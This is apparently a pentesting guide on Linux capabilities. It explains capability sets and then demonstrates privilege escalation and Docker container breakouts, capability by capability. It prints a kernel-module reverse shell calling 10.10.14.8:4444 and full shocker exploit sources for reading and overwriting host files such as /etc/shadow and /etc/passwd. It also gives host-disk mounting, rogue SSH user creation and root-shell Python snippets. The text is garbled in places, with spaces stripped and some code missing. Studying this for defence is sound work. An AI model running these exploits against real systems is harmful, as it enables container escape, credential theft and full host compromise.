Normally the root user (or any ID with UID of 0) gets a special treatment when running processes. The kernel and applications are usually programmed to skip the restriction of some activities when seeing this user ID. In other words, this user is allowed to do (almost) anything.
Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
Why capabilities?
To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve.
Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.
List Capabilities
#You list all the capabilities withcapsh--print
Here you can find some capabilities with short descriptions
Capabilities name
Description
CAP_AUDIT_CONTROL
Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE
Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND
This feature can block system suspends
CAP_CHOWN
Allow user to make arbitrary change to files UIDs and GIDs (full filesystem access)
CAP_DAC_OVERRIDE
This helps to bypass file read, write and execute permission checks (full filesystem access)
CAP_DAC_READ_SEARCH
This only bypass file and directory read/execute permission checks
CAP_FOWNER
This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL
Allow the sending of signals to processes belonging to others
CAP_SETGID
Allow changing of the GID
CAP_SETUID
Allow changing of the UID (set UID of root in you process)
CAP_SETPCAP
Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK
This helps to lock memory
CAP_MAC_ADMIN
Allow MAC configuration or state changes
CAP_NET_RAW
Use RAW and PACKET sockets (sniff traffic)
CAP_NET_BIND_SERVICE
SERVICE Bind a socket to internet domain privileged ports
CAP_SYS_CHROOT
Ability to call chroot()
CAP_SYS_ADMIN
Mount/Unmount filesystems
CAP_SYS_PTRACE
Debug processes (inject shellcodes)
CAP_SYS_MODULE
Insert kernel modules
Capabilities Sets
Inherited capabilities
CapEff: The effective capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.
CapPrm: (Permitted) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap_setpcap capability in its thread effective set.
CapInh: Using the inherited set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an execve and is usually set by a process receiving capabilities rather than by a process that’s handing out capabilities to its children.
CapBnd: With the bounding set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.
CapAmb: The ambient capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling execve. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across execve calls.
For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages:
To see the capabilities for a particular process, use the status file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.
Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.
cat/proc/1234/status|grepCapcat/proc/$$/status|grepCap#This will print the capabilities of the current process
This command should return 5 lines on most systems.
CapInh = Inherited capabilities
CapPrm = Permitted capabilities
CapEff = Effective capabilities
CapBnd = Bounding set
CapAmb = Ambient capabilities set
#These are the typical capabilities of a root owned process (all)CapInh:0000000000000000CapPrm:0000003fffffffffCapEff:0000003fffffffffCapBnd:0000003fffffffffCapAmb:0000000000000000
These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name.
Although that works, there is another and easier way. To see the capabilities of a running process, simply use the getpcaps tool followed by its process ID (PID). You can also provide a list of process IDs.
getpcaps1234
Lets check here the capabilities of tcpdump after having giving the binary enough capabilities (cap_net_admin and cap_net_raw) to sniff the network (tcpdump is running in process 9562):
#The following command give tcpdump the needed capabilities to sniff traffic$setcapcap_net_raw,cap_net_admin=eip/usr/sbin/tcpdump$getpcaps9562Capabilitiesfor`9562': = cap_net_admin,cap_net_raw+ep$ cat /proc/9562/status | grep CapCapInh: 0000000000000000CapPrm: 0000000000003000CapEff: 0000000000003000CapBnd: 0000003fffffffffCapAmb: 0000000000000000$ capsh --decode=00000000000030000x0000000000003000=cap_net_admin,cap_net_raw
As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.
The getpcaps tool uses the capget() system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.
Binaries Capabilities
Binaries can have capabilities that can be used while executing. For example, it's very common to find ping binary with cap_net_raw capability:
getcap/usr/bin/ping/usr/bin/ping=cap_net_raw+ep
You can search binaries with capabilities using:
getcap-r/2>/dev/null
Dropping capabilities with capsh
If we drop the CAP_NET_RAW capabilities for ping, then the ping utility should no longer work.
capsh--drop=cap_net_raw--print---c"tcpdump"
Besides the output of capsh itself, the tcpdump command itself should also raise an error.
/bin/bash: /usr/sbin/tcpdump: Operation not permitted
The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.
Remove Capabilities
You can remove capabilities of a binary with
setcap-r</path/to/binary>
User Capabilities
Apparently it's possible to assign capabilities also to users. This probably means that every process executed by the user will be able to use the users capabilities.
Base on on this, this and this a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be /etc/security/capability.conf.
File example:
# Simplecap_sys_ptracedevelopercap_net_rawuser1# Multiple capablitiescap_net_admin,cap_net_rawjrnetadmin# Identical, but with numeric values12,13jrnetadmin# Combining names and numericscap_sys_admin,22,25jrsysadmin
Environment Capabilities
Compiling the following program it's possible to spawn a bash shell inside an environment that provides capabilities.
ambient.c
/* * Test program for the ambient capabilities * * compile using: * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c * Set effective, inherited and permitted capabilities to the compiled binary * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient * * To get a shell with additional caps that can be inherited do: * * ./ambient /bin/bash */#include<stdlib.h>#include<stdio.h>#include<string.h>#include<errno.h>#include<sys/prctl.h>#include<linux/capability.h>#include<cap-ng.h>staticvoidset_ambient_cap(int cap) {int rc;capng_get_caps_process(); rc =capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);if (rc) {printf("Cannot add inheritable cap\n");exit(2); }capng_apply(CAPNG_SELECT_CAPS); /* Note the two 0s at the end. Kernel checks for these */if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap,0,0)) {perror("Cannot set cap");exit(1); }}voidusage(constchar* me) {printf("Usage: %s [-c caps] new-program new-args\n", me);exit(1);}int default_caplist[]= { CAP_NET_RAW, CAP_NET_ADMIN, CAP_SYS_NICE,-1};int*get_caplist(constchar* arg) {int i =1;int* list =NULL;char* dup =strdup(arg),* tok;for (tok =strtok(dup,","); tok; tok =strtok(NULL,",")) { list =realloc(list, (i +1) *sizeof(int));if (!list) {perror("out of memory");exit(1); } list[i -1] =atoi(tok); list[i] =-1; i++; }return list;}intmain(int argc,char** argv) {int rc, i, gotcaps =0;int* caplist =NULL;int index =1; // argv index for cmd to startif (argc <2)usage(argv[0]);if (strcmp(argv[1],"-c")==0) {if (argc <=3) {usage(argv[0]); } caplist =get_caplist(argv[2]); index =3; }if (!caplist) { caplist = (int* ) default_caplist; }for (i =0; caplist[i] !=-1; i++) {printf("adding %d to ambient list\n", caplist[i]);set_ambient_cap(caplist[i]); }printf("Ambient forking shell\n");if (execv(argv[index], argv + index))perror("Cannot exec");return0;}
Inside the bash executed by the compiled ambient binary it's possible to observe the new capabilities (a regular user won't have any capability in the "current" section).
The capability-aware binaries won't use the new capabilities given by the environment, however the capability dumb binaries will use them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.
Service Capabilities
By default a service running as root will have assigned all the capabilities, and in some occasions this may be dangerous.
Therefore, a service configuration file allows to specify the capabilities you want it to have, and the user that should execute the service to avoid running a service with unnecessary privileges:
Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
You can force capabilities upon programs using setcap, and query these using getcap:
Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
is not owned by root
has no SUID/SGID bits set
has empty capabilities set (e.g.: getcap myelf returns myelf =ep)
Using python you can mount a modified passwd file on top of the real passwd file:
cp/etc/passwd./#Create a copy of the passwd fileopensslpasswd-1-saltabcpassword#Get hash of "password"vim./passwd#Change roots passwords of the fake passwd file
And finally mount the modified passwd file on /etc/passwd:
And you will be able to su as root using password "password".
Example with environment (Docker breakout)
You can check the enabled capabilities inside the docker container using:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Inside the previous output you can see that the SYS_ADMIN capability is enabled.
Mount
This allows the docker container to mount the host disk and access it freely:
fdisk-l#Get disk nameDisk/dev/sda:4GiB,4294967296bytes,8388608sectorsUnits:sectorsof1*512=512bytesSectorsize (logical/physical): 512 bytes / 512 bytesI/Osize (minimum/optimal): 512 bytes / 512 bytesmount/dev/sda/mnt/#Mount itcd/mntchroot./bash#You have a shell inside the docker hosts disk
Full access
In the previous method we managed to access the docker host disk.
In case you find that the host is running an ssh server, you could create a user inside the docker host disk and access it via SSH:
#Like in the example before, the first step is to moun the dosker host diskfdisk-lmount/dev/sda/mnt/#Then, search for open ports inside the docker hostnc-v-n-w2-z172.17.0.11-65535(UNKNOWN) [172.17.0.1] 2222 (?) open#Finally, create a new user inside the docker host and use it to access via SSHchroot/mnt/adduserjohnsshjohn@172.17.0.1-p2222
CAP_SYS_PTRACE
This means that you can escape the container by injecting a shellcode inside some process running inside the host.
By default, modprobe command checks for dependency list and map files in the directory /lib/modules/$(uname -r).
In order to abuse this, lets create a fake lib/modules folder:
In the following example the binary kmod has this capability.
getcap-r/2>/dev/null/bin/kmod=cap_sys_module+ep
Which means that it's possible to use the command insmod to insert a kernel module. Follow the example below to get a reverse shell abusing this privilege.
Example with environment (Docker breakout)
You can check the enabled capabilities inside the docker container using:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Inside the previous output you can see that the SYS_MODULE capability is enabled.
Create the kernel module that is going to execute a reverse shell and the Makefile to compile it:
reverse-shell.c
#include<linux/kmod.h>#include<linux/module.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("AttackDefense");MODULE_DESCRIPTION("LKM reverse shell module");MODULE_VERSION("1.0");char* argv[]= {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1",NULL};staticchar* envp[]= {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",NULL };// call_usermodehelper function is used to create user mode processes from kernel spacestaticint __init reverse_shell_init(void) {returncall_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}staticvoid __exit reverse_shell_exit(void) {printk(KERN_INFO "Exiting\n");}module_init(reverse_shell_init);module_exit(reverse_shell_exit);
This means that you canbypass can bypass file read permission checks and directory read/execute permission checks.
Example with binary
The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file:
cd/etctar-czf/tmp/shadow.tar.gzshadow#Compress show file in /tmpcd/tmptar-cxfshadow.tar.gz
Example with binary2
In this case lets suppose that python binary has this capability. In order to list root files you could do:
import osfor r, d, f in os.walk('/root'):for filename in f:print(filename)
And in order to read a file you could do:
print(open("/etc/shadow", "r").read())
Example with _**_Environment (Docker breakout)
You can check the enabled capabilities inside the docker container using:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Inside the previous output you can see that the DAC_READ_SEARCH capability is enabled. As a result, the container can debug processes.
You can learn how the following exploiting works in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 but in resume CAP_DAC_READ_SEARCH not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to open_by_handle_at(2) and could allow our process to sensitive files opened by other processes.
The original exploit that abuse this permissions to read files from the host can be found here: http://stealth.openwall.net/xSports/shocker.c, the following is a modified version that allows you to indicate the file you want to read as first argument and dump it in a file.
#include<stdio.h>#include<sys/types.h>#include<sys/stat.h>#include<fcntl.h>#include<errno.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<dirent.h>#include<stdint.h>// gcc shocker.c -o shocker// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dirstruct my_file_handle {unsignedint handle_bytes;int handle_type;unsignedchar f_handle[8];};voiddie(constchar* msg) {perror(msg);exit(errno);}voiddump_handle(conststruct my_file_handle * h) {fprintf(stderr,"[*] #=%d, %d, char nh[] = {",h -> handle_bytes,h -> handle_type);for (int i =0; i <h -> handle_bytes; ++i) {fprintf(stderr,"0x%02x",h -> f_handle[i]);if ((i +1) %20==0)fprintf(stderr,"\n");if (i <h -> handle_bytes -1)fprintf(stderr,", "); }fprintf(stderr,"};\n");}intfind_handle(int bfd,constchar* path,conststruct my_file_handle * ih,struct my_file_handle * oh) {int fd;uint32_t ino =0;struct my_file_handle outh = { .handle_bytes =8, .handle_type =1 }; DIR * dir =NULL;struct dirent * de =NULL; path =strchr(path,'/');// recursion stops if path has been resolvedif (!path) {memcpy(oh -> f_handle,ih -> f_handle,sizeof(oh -> f_handle));oh -> handle_type =1;oh -> handle_bytes =8;return1; }++path;fprintf(stderr,"[*] Resolving '%s'\n", path);if ((fd =open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) <0)die("[-] open_by_handle_at");if ((dir =fdopendir(fd)) ==NULL)die("[-] fdopendir");for (;;) { de =readdir(dir);if (!de)break;fprintf(stderr,"[*] Found %s\n",de -> d_name);if (strncmp(de -> d_name, path, strlen(de -> d_name))==0) {fprintf(stderr,"[+] Match: %s ino=%d\n",de -> d_name, (int) de -> d_ino); ino =de -> d_ino;break; } }fprintf(stderr,"[*] Brute forcing remaining 32bit. This can take a while...\n");if (de) {for (uint32_t i =0; i <0xffffffff; ++i) {outh.handle_bytes =8;outh.handle_type =1;memcpy(outh.f_handle,& ino,sizeof(ino));memcpy(outh.f_handle +4,& i,sizeof(i));if ((i % (1<<20)) ==0)fprintf(stderr,"[*] (%s) Trying: 0x%08x\n",de -> d_name, i);if (open_by_handle_at(bfd, (struct file_handle * ) & outh,0)>0) {closedir(dir);close(fd);dump_handle( & outh);returnfind_handle(bfd, path,& outh, oh); } } }closedir(dir);close(fd);return0;}intmain(int argc,char* argv[]) {char buf[0x1000];int fd1, fd2;struct my_file_handle h;struct my_file_handle root_h = { .handle_bytes =8, .handle_type =1, .f_handle = {0x02,0,0,0,0,0,0,0 } };fprintf(stderr,"[***] docker VMM-container breakout Po(C) 2014 [***]\n""[***] The tea from the 90's kicks your sekurity again. [***]\n""[***] If you have pending sec consulting, I'll happily [***]\n""[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");read(0, buf,1);// get a FS reference from something mounted in from outsideif ((fd1 =open("/etc/hostname", O_RDONLY)) <0)die("[-] open");if (find_handle(fd1, argv[1],& root_h,& h)<=0)die("[-] Cannot find valid handle!");fprintf(stderr,"[!] Got a final handle!\n");dump_handle( & h);if ((fd2 =open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) <0)die("[-] open_by_handle");char* line =NULL;size_t len =0; FILE * fptr;ssize_t read; fptr =fopen(argv[2],"r");while ((read =getline( & line,& len, fptr)) !=-1) {write(fd2, line, read); }printf("Success!!\n");close(fd2);close(fd1);return0;}
I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:
The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" fromhttps://www.pentesteracademy.com/
CAP_DAC_OVERRIDE
This mean that you can bypass write permission checks on any file, so you can write any file.
Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)
You can check the enabled capabilities inside the docker container using:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
First of all read the previous section that abuses DAC_READ_SEARCH capability to read arbitrary files of the host and compile the exploit.
Then, compile the following version of the shocker exploit that ill allow you to write arbitrary files inside the hosts filesystem:
#include<stdio.h>#include<sys/types.h>#include<sys/stat.h>#include<fcntl.h>#include<errno.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<dirent.h>#include<stdint.h>// gcc shocker_write.c -o shocker_write// ./shocker_write /etc/passwd passwd struct my_file_handle {unsignedint handle_bytes;int handle_type;unsignedchar f_handle[8];};voiddie(constchar* msg) {perror(msg);exit(errno);}voiddump_handle(conststruct my_file_handle * h) {fprintf(stderr,"[*] #=%d, %d, char nh[] = {",h -> handle_bytes,h -> handle_type);for (int i =0; i <h -> handle_bytes; ++i) {fprintf(stderr,"0x%02x",h -> f_handle[i]);if ((i +1) %20==0)fprintf(stderr,"\n");if (i <h -> handle_bytes -1)fprintf(stderr,", "); }fprintf(stderr,"};\n");} intfind_handle(int bfd,constchar*path,conststruct my_file_handle *ih,struct my_file_handle *oh){int fd;uint32_t ino =0;struct my_file_handle outh = { .handle_bytes =8, .handle_type =1 }; DIR * dir =NULL;struct dirent * de =NULL; path =strchr(path,'/');// recursion stops if path has been resolvedif (!path) {memcpy(oh -> f_handle,ih -> f_handle,sizeof(oh -> f_handle));oh -> handle_type =1;oh -> handle_bytes =8;return1; }++path;fprintf(stderr,"[*] Resolving '%s'\n", path);if ((fd =open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) <0)die("[-] open_by_handle_at");if ((dir =fdopendir(fd)) ==NULL)die("[-] fdopendir");for (;;) { de =readdir(dir);if (!de)break;fprintf(stderr,"[*] Found %s\n",de -> d_name);if (strncmp(de -> d_name, path, strlen(de -> d_name))==0) {fprintf(stderr,"[+] Match: %s ino=%d\n",de -> d_name, (int) de -> d_ino); ino =de -> d_ino;break; } }fprintf(stderr,"[*] Brute forcing remaining 32bit. This can take a while...\n");if (de) {for (uint32_t i =0; i <0xffffffff; ++i) {outh.handle_bytes =8;outh.handle_type =1;memcpy(outh.f_handle,& ino,sizeof(ino));memcpy(outh.f_handle +4,& i,sizeof(i));if ((i % (1<<20)) ==0)fprintf(stderr,"[*] (%s) Trying: 0x%08x\n",de -> d_name, i);if (open_by_handle_at(bfd, (struct file_handle * ) & outh,0)>0) {closedir(dir);close(fd);dump_handle( & outh);returnfind_handle(bfd, path,& outh, oh); } } }closedir(dir);close(fd);return0;}intmain(int argc,char* argv[]) {char buf[0x1000];int fd1, fd2;struct my_file_handle h;struct my_file_handle root_h = { .handle_bytes =8, .handle_type =1, .f_handle = {0x02,0,0,0,0,0,0,0 } };fprintf(stderr,"[***] docker VMM-container breakout Po(C) 2014 [***]\n""[***] The tea from the 90's kicks your sekurity again. [***]\n""[***] If you have pending sec consulting, I'll happily [***]\n""[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");read(0, buf,1);// get a FS reference from something mounted in from outsideif ((fd1 =open("/etc/hostname", O_RDONLY)) <0)die("[-] open");if (find_handle(fd1, argv[1],& root_h,& h)<=0)die("[-] Cannot find valid handle!");fprintf(stderr,"[!] Got a final handle!\n");dump_handle( & h);if ((fd2 =open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) <0)die("[-] open_by_handle");char* line =NULL;size_t len =0; FILE * fptr;ssize_t read; fptr =fopen(argv[2],"r");while ((read =getline( & line,& len, fptr)) !=-1) {write(fd2, line, read); }printf("Success!!\n");close(fd2);close(fd1);return0;}
In order to scape the docker container you could download the files /etc/shadow and /etc/passwd from the host, add to them a new user, and use shocker_write to overwrite them. Then, access via ssh.
The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" fromhttps://www.pentesteracademy.com
CAP_CHOWN
This means that it's possible to change the ownership of any file.
Example with binary
Lets suppose the python binary has this capability, you can change the owner of the shadow file, change root password, and escalate privileges:
In this case you should look for interesting files that a group can read because you can impersonate any group:
#Find every file writable by a groupfind/-perm/g=w-execls-lLd{} \; 2>/dev/null#Find every file writable by a group in /etc with a maxpath of 1find/etc-maxdepth1-perm/g=w-execls-lLd{} \; 2>/dev/null#Find every file readable by a group in /etc with a maxpath of 1find/etc-maxdepth1-perm/g=r-execls-lLd{} \; 2>/dev/null
Once you have find a file you can abuse (via reading or writing) to escalate privileges you can get a shell impersonating the interesting group with:
import osos.setgid(42)os.system("/bin/bash")
In this case the group shadow was impersonated so you can read the file /etc/shadow:
This means that it's possible to set capabilities on files and processes
Example with binary
If python has this capability, you can very easily abuse it to escalate privileges to root:
setcapability.py
import ctypes, sys#Load needed library#You can find which library you need to load checking the libraries of local setcap binary# ldd /sbin/setcaplibcap = ctypes.cdll.LoadLibrary("libcap.so.2")libcap.cap_from_text.argtypes = [ctypes.c_char_p]libcap.cap_from_text.restype = ctypes.c_void_plibcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]#Give setuid cap to the binarycap ='cap_setuid+ep'path = sys.argv[1]print(path)cap_t = libcap.cap_from_text(cap)status = libcap.cap_set_file(path,cap_t)if(status ==0):print (cap +" was successfully added to "+ path)
pythonsetcapability.py/usr/bin/python2.7
Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap.
Once you have SETUID capability you can go to it's section to see how to escalate privileges.
CAP_KILL
This means that it's possible to kill any process. You cannot escalate privileges directly with this capability.
Example with binary
Lets suppose the python binary has this capability. If you could also modify some service or socket configuration (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor.
#Use this python code to kill arbitrary processesimport osimport signalpgid = os.getpgid(341)os.killpg(pgid, signal.SIGKILL)
CAP_NET_BIND_SERVICE
This means that it's possible to listen in any port (even in privileged ones). You cannot escalate privileges directly with this capability.
Example with binary
If python has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports)
Note that if the environment is giving this capability you could also use tcpdump to sniff traffic.
Example with binary 2
The following example is python2 code that can be useful to intercept traffic of the "lo" (localhost) interface. The code is from the lab "The Basics: CAP-NET_BIND + NET_RAW" from https://attackdefense.pentesteracademy.com/
This means that it's possible modify inode attributes. You cannot escalate privileges directly with this capability.
Example with binary
If you find that a file is immutable and python has this capability, you can remove the immutable attribute and make the file modifiable:
#Check that the file is imutablelsattr file.sh ----i---------e--- backup.sh
#Pyhton code to allow modifications to the fileimport fcntlimport osimport structFS_APPEND_FL =0x00000020FS_IOC_SETFLAGS =0x40086602fd = os.open('/path/to/file.sh', os.O_RDONLY)f = struct.pack('i', FS_APPEND_FL)fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)f=open("/path/to/file.sh",'a+')f.write('New content for the file\n')
Note that usually this immutable attribute is set and remove using: